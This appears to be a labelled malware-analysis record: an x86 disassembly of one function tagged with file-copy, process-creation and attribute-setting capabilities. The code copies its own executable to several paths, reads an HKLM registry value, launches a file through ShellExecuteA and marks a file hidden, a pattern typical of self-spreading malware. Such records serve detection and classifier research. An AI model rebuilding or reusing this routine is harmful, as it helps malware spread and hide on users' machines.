Function at 0x417f98
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
push ebx
xor ecx, ecx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], ecx
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404abc
mov eax, dword [ebp - 8]
call fcn.00404abc
xor eax, eax
push ebp
push 0x41825b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x101
lea eax, [ebp - 0x111]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
call fcn.00404acc
push eax
lea eax, [ebp - 0x111]
push eax
call sub.kernel32.dll_CopyFileA
mov dl, 1
mov eax, dword [0x41697c]
call fcn.00416a7c
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00416b1c
mov cl, 1
mov edx, 0x418270
mov eax, ebx
call fcn.00416b80
lea ecx, [ebp - 0xc]
mov edx, 0x418288
mov eax, ebx
call fcn.00416d48
push 0x418298
push dword [ebp - 4]
push 0x4182b4
push dword [ebp - 8]
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040498c
push 1
push 0
mov eax, dword [ebp - 0x10]
call fcn.00404acc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404acc
push eax
push 0x4182b8
push 5
call sub.shell32.dll_ShellExecuteA
push 0x22
mov eax, dword [ebp - 4]
call fcn.00404acc
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
push ebp
push 0x418216
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
lea eax, [ebp - 0x118]
mov ecx, dword [ebp - 4]
mov edx, 0x4182c8
call fcn.00404918
mov eax, dword [ebp - 0x118]
call fcn.00404acc
push eax
mov eax, dword [ebp - 4]
call fcn.00404acc
mov ebx, eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x11c]
mov ecx, dword [ebp - 4]
mov edx, 0x4182d4
call fcn.00404918
mov eax, dword [ebp - 0x11c]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x120]
mov ecx, dword [ebp - 4]
mov edx, 0x4182e0
call fcn.00404918
mov eax, dword [ebp - 0x120]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x124]
mov ecx, dword [ebp - 4]
mov edx, 0x4182ec
call fcn.00404918
mov eax, dword [ebp - 0x124]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x128]
mov ecx, dword [ebp - 4]
mov edx, 0x4182f8
call fcn.00404918
mov eax, dword [ebp - 0x128]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x12c]
mov ecx, dword [ebp - 4]
mov edx, 0x418304
call fcn.00404918
mov eax, dword [ebp - 0x12c]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x130]
mov ecx, dword [ebp - 4]
mov edx, 0x418310
call fcn.00404918
mov eax, dword [ebp - 0x130]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
push 0xffffffffffffffff
lea eax, [ebp - 0x134]
mov ecx, dword [ebp - 4]
mov edx, 0x41831c
call fcn.00404918
mov eax, dword [ebp - 0x134]
call fcn.00404acc
push eax
push ebx
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4180ae
push 0xf9f
call sub.kernel32.dll_Sleep_1
ret